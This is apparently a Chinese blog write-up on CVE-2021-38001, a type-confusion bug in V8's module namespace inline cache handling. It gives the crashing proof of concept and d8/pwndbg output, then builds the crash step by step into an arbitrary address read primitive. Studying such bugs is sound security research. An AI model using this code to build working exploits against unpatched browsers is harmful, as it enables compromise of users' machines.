漏洞基本信息

我们直接查看漏洞修复的commit,也能对漏洞信息略知一二

image-20240930102043997

大体来讲,就是这里的receiverlookup_start_object(holder)存在类型混淆。由于 ic.cc 将根据 lookup_start_object(holder) 更新缓存, lookup_start_object(holder) 应该位于 JSModuleNamespace 中,但在更新后,实际的属性访问操作在 recevier 对象上运行,该对象不在 JSModuleNamespace 中。因此,如果 receiverlookup_start_object(holder) 不同,就会发生类型混淆。

更详细和深入的漏洞分析可以查看这里,本文不做过多阐述:https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md

POC

首先我们创建两个文件1.mjs2.mjs

1
2
3
4
5
6
7
8
9
//	1.mjs
export let x = {};
export let y = {};
export let z = {};


// 2.mjs
import * as module from "1.mjs";
%DebugPrint(module)

运行2.mjs可以得到如下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌─[loorain@LAPTOP-Loora1N] - [~/v8/workdir/CVE-2021-38001] - [10609]
└─[$] ../../v8/out/x64_9.5.172.21.release/d8 2.mjs --allow-natives-syntax [10:29:32]
DebugPrint: 0x2bbe08049d15: [JSModuleNamespace]
- map: 0x2bbe08207bb9 <Map(DICTIONARY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x2bbe08002235 <null>
- elements: 0x2bbe08003295 <NumberDictionary[7]> [DICTIONARY_ELEMENTS]
- module: 0x2bbe081d34a1 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
- properties: 0x2bbe08049d29 <NameDictionary[29]>
- All own properties (excluding elements): {
z: 0x2bbe081d35c1 <AccessorInfo> (accessor, dict_index: 4, attrs: [WE_])
0x2bbe08005669 <Symbol: Symbol.toStringTag>: 0x2bbe080049f5 <String[6]: #Module> (data, dict_index: 1, attrs: [___])
x: 0x2bbe081d3581 <AccessorInfo> (accessor, dict_index: 2, attrs: [WE_])
y: 0x2bbe081d35a1 <AccessorInfo> (accessor, dict_index: 3, attrs: [WE_])
}
- elements: 0x2bbe08003295 <NumberDictionary[7]> {
- max_number_key: 0
}
0x2bbe08207bb9: [Map]
- type: JS_MODULE_NAMESPACE_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: DICTIONARY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- dictionary_map
- may_have_interesting_symbols
- non-extensible
- prototype_map
- prototype info: 0x2bbe081d35e1 <PrototypeInfo>
- prototype_validity cell: 0x2bbe08142405 <Cell value= 1>
- instance descriptors (own) #0: 0x2bbe080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x2bbe08002235 <null>
- constructor: 0x2bbe081c3e2d <JSFunction Object (sfi = 0x2bbe08144745)>
- dependent code: 0x2bbe080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

可以看到这里的module便是JSModuleNamespace,原作者通过原型链的方式使得moduleComputeHandler中作为holder,从而实现类型混淆,POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import * as module from "1.mjs";

function poc() {
class C {
m() {
return super.y;
}
}

let zz = {aa: 1, bb: 2};
// receiver vs holder type confusion
function trigger() {
// set lookup_start_object
C.prototype.__proto__ = zz;
// set holder
C.prototype.__proto__.__proto__ = module;

// "c" is receiver in ComputeHandler [ic.cc]
// "module" is holder
// "zz" is lookup_start_object
let c = new C();

c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;

// LoadWithReceiverIC_Miss
// => UpdateCaches (Monomorphic)
// CheckObjectType with "receiver"
let res = c.m();
}

for (let i = 0; i < 0x100; i++) {
trigger();
}
}

poc();

代码解析

具体来说上述POC可以分为下面几个部分

导入模块

1
import * as module from "1.mjs";
  • "1.mjs"中导入所有内容,作为module对象
1
2
3
4
// 1,mjs
export let x = {};
export let y = {};
export let z = {};

定义类和方法

1
2
3
4
5
class C {
m() {
return super.y;
}
}
  • 定义了一个类C,其中包括方法m()
  • m()方法中,return super.y;试图通过super访问属性y

创建对象zz

1
let zz = {aa: 1, bb: 2};
  • 定义了一个普通对象zz,包括属性aabb

函数trigger

1
2
3
4
5
6
7
8
9
10
11
12
function trigger() {
C.prototype.__proto__ = zz;
C.prototype.__proto__.__proto__ = module;
let c = new C();
// 设置属性 x0 到 x4
c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;
let res = c.m();
}
  • 修改原型链:
    • C_prototype.__proto__ = zz;C类的原型的原型设置为对象zz
    • C_prototype.__proto__.__proto__ = modulezz的原型设置为module对象
  • 创建实例并设置属性:
    • 创建了 C 的实例 c,并设置了多个属性 x0x4
  • 调用方法 m()
    • 调用了 c.m(),其中 super.y 将通过原型链进行属性查找。

super.y的含义:

  • 在方法 m() 中,super 引用的是 C.prototype 的原型,即 C.prototype.__proto__
  • 由于在 trigger 函数中,将 C.prototype.__proto__ 设置为了 zz,所以 super 实际上引用的是 zz 对象。
  • 如果 zz 没有属性 y,属性查找会继续到 zz 的原型,即 module 对象。
  • 因此,super.y 最终可能访问的是 module.y

POC调试

运行POC我们可以得到类似如下结果,关键信息我已划线标出

image-20240930134821584

可以看到其错误的访问了地址,从而导致了crash,并且这个值正是我们在POC中自行设置的内容。

1
2
3
4
5
6
7
...
c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;
...

构造漏洞原语

经过调试,确定漏洞POC只使用c.x0 = 0x42424242 / 2;的情况下依然能够触发,修改POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import * as module from "1.mjs";

function poc() {
class C {
m() {
return super.y;
}
}

function trigger(flag) {
C.prototype.__proto__ = module;

let c = new C();
c.x0 = 0x42424242 / 2;

if(flag == 1) {
%DebugPrint(c);
}

let res = c.m();
return res;
}


for (let i = 0; i < 10; i++) {
trigger(0);
}
let evil = trigger(1);
%DebugPrint(evil);
%SystemBreak();
}

poc();
  • 主要区别

    • 去除zz对象、x1-x4等对crash触发的不必要的部分
    • 测试trigger循环次数,保证evil执行时恰好刚刚触发crash
    • 在crash之前输出c的结构

    最终需要的输出效果大致如下(既保证能看到c的结构,也能触发crash):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    DebugPrint: 0x33060804a52d: [JS_OBJECT_TYPE]
    - map: 0x330608207d21 <Map(HOLEY_ELEMENTS)> [FastProperties]
    - prototype: 0x33060804a129 <C map = 0x330608207d49>
    - elements: 0x33060800222d <FixedArray[0]> [HOLEY_ELEMENTS]
    - properties: 0x33060800222d <FixedArray[0]>
    - All own properties (excluding elements): {
    0x3306081d39c5: [String] in OldSpace: #x0: 555819297 (const data field 0), location: in-object
    }
    0x330608207d21: [Map]
    - type: JS_OBJECT_TYPE
    - instance size: 16
    - inobject properties: 1
    - elements kind: HOLEY_ELEMENTS
    - unused property fields: 0
    - enum length: invalid
    - stable_map
    - back pointer: 0x330608207c81 <Map(HOLEY_ELEMENTS)>
    - prototype_validity cell: 0x3306081d3b75 <Cell value= 0>
    - instance descriptors (own) #1: 0x33060804a33d <DescriptorArray[1]>
    - prototype: 0x33060804a129 <C map = 0x330608207d49>
    - constructor: 0x33060804a0ed <JSFunction C (sfi = 0x3306081d37c5)>
    - dependent code: 0x3306080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
    - construction counter: 0


    Thread 1 "d8" received signal SIGSEGV, Segmentation fault.

    trick:在实际测试循环次数时,肯定不可能一个一个去手试,可以用一个cnt变量来输出循环次数,直到出现crash即可,便可以通过cnt来判断循环次数

这里的关键点在于0x3306081d39c5: [String] in OldSpace: #x0: 555819297 (const data field 0), location: in-objec 这一行,其中555819297便是16进制的0x21212121

为了让其进一步运行,详细了解我们可以利用的程度,我们可以将这里的c.x0 = 0x42424242 / 2;改为类似如下代码:

1
2
3
4
5
6
7
8
...
var array1 = {};
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = 0x42424242 / 2;
}
...
c.x0 = array1;
...

这样我们就保证了上一次0x21212121的部分变成了一个可控地址的指针,也就是这里的array1,进一步查看输出

image-20240930161219995

因为不确定需要多少长度的array才能使其继续报错或者数值可控,所以需要尝试不同的值,但是一般这种间接寻址偏移不会很大,所以工作量并不多。甚至可以用一个非常大的值去全部覆盖,能保证目标一定在长度范围内。

发现依然报错,job小看一眼array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> job  0x02970804a249
0x2970804a249: [JS_OBJECT_TYPE]
- map: 0x029708207eb1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0297081c41f5 <Object map = 0x297082021b9>
- elements: 0x02970800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x02970804a7c1 <PropertyArray[12]>
- All own properties (excluding elements): {
0x297081d39fd: [String] in OldSpace: #x0: 555819297 (const data field 0), location: in-object
0x297081d3a15: [String] in OldSpace: #x1: 555819297 (const data field 1), location: in-object
0x297081d3a35: [String] in OldSpace: #x2: 555819297 (const data field 2), location: in-object
0x297081d3a55: [String] in OldSpace: #x3: 555819297 (const data field 3), location: in-object
0x297081d3a75: [String] in OldSpace: #x4: 555819297 (const data field 4), location: properties[0]
0x297081d3a95: [String] in OldSpace: #x5: 555819297 (const data field 5), location: properties[1]
0x297081d3ab5: [String] in OldSpace: #x6: 555819297 (const data field 6), location: properties[2]
0x297081d3ad5: [String] in OldSpace: #x7: 555819297 (const data field 7), location: properties[3]
0x297081d3af5: [String] in OldSpace: #x8: 555819297 (const data field 8), location: properties[4]
0x297081d3b15: [String] in OldSpace: #x9: 555819297 (const data field 9), location: properties[5]
0x297081d3b35: [String] in OldSpace: #x10: 555819297 (const data field 10), location: properties[6]
0x297081d3b55: [String] in OldSpace: #x11: 555819297 (const data field 11), location: properties[7]
0x297081d3b75: [String] in OldSpace: #x12: 555819297 (const data field 12), location: properties[8]
0x297081d3b95: [String] in OldSpace: #x13: 555819297 (const data field 13), location: properties[9]
0x297081d3bb5: [String] in OldSpace: #x14: 555819297 (const data field 14), location: properties[10]
0x297081d3bd5: [String] in OldSpace: #x15: 555819297 (const data field 15), location: properties[11]
}

进一步更改POC设置array2

1
2
3
4
5
6
7
8
9
10
...
var array1 = {};
var array2 = {};
for (let i = 0x0; i < 0x10; i++) {
array2['x'+i] = 0x40404040 / 2;
}
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = array2;
}
...

查看输出,发现evil变成了一个PropertyArray对象,即array2对象内存中的存储第二个指针

image-20240930162857483

数据存储结构:| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|

到这里,我们基本就能明白这个漏洞的效果,即会将array2中的properties所在位置作为指针,读取内容(可能是对象,也可能是数据)并返给evil。也就是说,如果我们在固定偏移处设置其值为某个指针,就可以读取对应地址的内容,达到任意地址读的效果。

这里我们可以尝试将array1改为HeapNumber形式的进行数据存储,就可以保证固定偏移处存放浮点数内存的低32bit

HeapNumber是V8中的一个对象类型,用于存储单个浮点数或大整数,其结构在指针压缩的情况下为:| 32 bit map addr | 64 bit value |

1
2
3
for (let i = 0x0; i < 0x10; i++) {
array1['x'+i] = u2d(0x20202020,0x40404040);
}

查看输出,的确验证了我们的猜想,获得了低32位的内容0x20202020/2

image-20241015110806017